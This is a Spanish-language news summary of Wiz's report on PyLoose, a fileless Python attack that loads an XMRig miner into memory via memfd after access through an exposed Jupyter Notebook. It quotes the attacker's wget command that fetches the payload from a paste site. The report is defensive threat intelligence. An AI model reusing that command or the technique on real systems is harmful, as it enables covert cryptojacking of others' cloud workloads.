Usando el sensor de tiempo de ejecución, la empresa
Wiz detecto un nuevo ataque sin archivos
dirigido a cargas de trabajo en la nube. El ataque consiste en un código de
Python que carga un XMRig Miner directamente en la memoria usando
memfd
, una conocida técnica sin archivos de Linux. Hasta donde
sabemos, este es el primer ataque sin archivos basado en Python documentado
públicamente dirigido a cargas de trabajo en la nube en la naturaleza.
Llamaron PyLoose al ataques, según la URL que albergaba el cargador de Python (https://paste[.]c-net.org/chattingloosened).
A pesar de ser una técnica conocida, rara vez se informan nuevos ataques sin archivos dirigidos a cargas de trabajo en la nube. De hecho, la última actividad fue reportada hace dos años y medio por AT&T cuando TeamTNT aprovechó Ezuri, una herramienta de código abierto escrita en Go, para cargar una carga útil sin archivos.
Los ataques sin archivos son evasivos ya que no se basan en escribir cargas
útiles en el disco. Estos ataques abusan de las capacidades del sistema
operativo, como el sistema de archivos basado en RAM memfd
de
Linux, lo que dificulta su detección con las soluciones de seguridad
tradicionales.
En esta publicación de blog, Wiz detalla el ataque PyLoose y la técnica sin archivos de Linux que utilizó el actor de amenazas, discuten las posibles motivaciones para este tipo de ataque y, por último, proporcionan los pasos para mitigar esta cadena de ataques.
Análisis PyLoose
PyLoose es un script de Python bastante simple que contiene un minero XMRig precompilado comprimido y codificado. El sensor de tiempo de ejecución de Wiz lo detectó por primera vez el 22 de junio de 2023. El mismo día, el script se cargó en VirusTotal desde Noruega, posiblemente por el atacante o una de las víctimas.
Acceso inicial
En este incidente, la víctima tenía un servicio Jupyter Notebook de acceso
público. Aunque Notebook está diseñado para permitir la ejecución de código de
Python, este servicio específico no pudo imponer la ejecución de comandos del
sistema, incluso a través de módulos de Python como os
y
subprocess
. Los actores de amenazas a menudo buscan entornos como
estos, ya que a menudo es más fácil escanear Internet en busca de servicios
expuestos públicamente que invertir mucho en atacar un objetivo desconocido.
Secuencias de comandos de Python
El atacante descargó la carga útil sin archivos de paste.c-net.org (un
sitio web equivalente a Pastebin) en la memoria del tiempo de ejecución de
Python al realizar una solicitud HTTPS GET de una manera que evita guardar el
archivo en disco. Aunque observamos que el autor de la amenaza usó el comando
wget -O- https[://]paste[.]c-net.org/chattingloosened
en sus
intentos iniciales, los datos sugieren que cambiaron a realizar esta solicitud
en Python la mayor parte del tiempo.
Por qué los actores de amenazas usan ataques sin archivos
Los ataques sin archivos son más evasivos que los ataques que se basan en colocar una carga útil en el disco. Esto se debe a que son:
- Más difícil de detectar: para detectar de forma efectiva el malware sin archivos en Linux, las organizaciones deben implementar soluciones de seguridad avanzadas que utilicen técnicas de monitoreo de memoria y análisis basadas en el comportamiento en tiempo de ejecución.
- Más difícil de investigar: una vez detectada, el hecho de que la carga útil "vive" en la memoria complica el proceso de análisis forense, ya que el archivo debe volcarse de la memoria mientras el recurso está en funcionamiento. Por lo tanto, la naturaleza efímera de las cargas de trabajo en la nube dificulta aún más la investigación.
- Menos común: como se mencionó anteriormente, los casos documentados de ataques sin archivos dirigidos a cargas de trabajo en la nube son raros. Como resultado, los equipos de seguridad pueden poner menos esfuerzo en la detección de este tipo de ataque.
Atribución
El atacante hizo todo lo posible para no ser rastreado mediante el uso de un servicio abierto de intercambio de datos para alojar la carga útil de Python, adaptando la técnica de ejecución sin archivos a Python y compilando un minero XMRig para incrustar su configuración para evitar tocar el disco o usar un comando revelador.
Todos estos pasos sugieren que el adversario tiene un nivel de sofisticación que no se observa comúnmente en la mayoría de los ataques de carga de trabajo en la nube y documentados públicamente. Por lo tanto, no hay indicadores sólidos que puedan vincular este ataque a un actor de amenazas específico.
Fuente: Wiz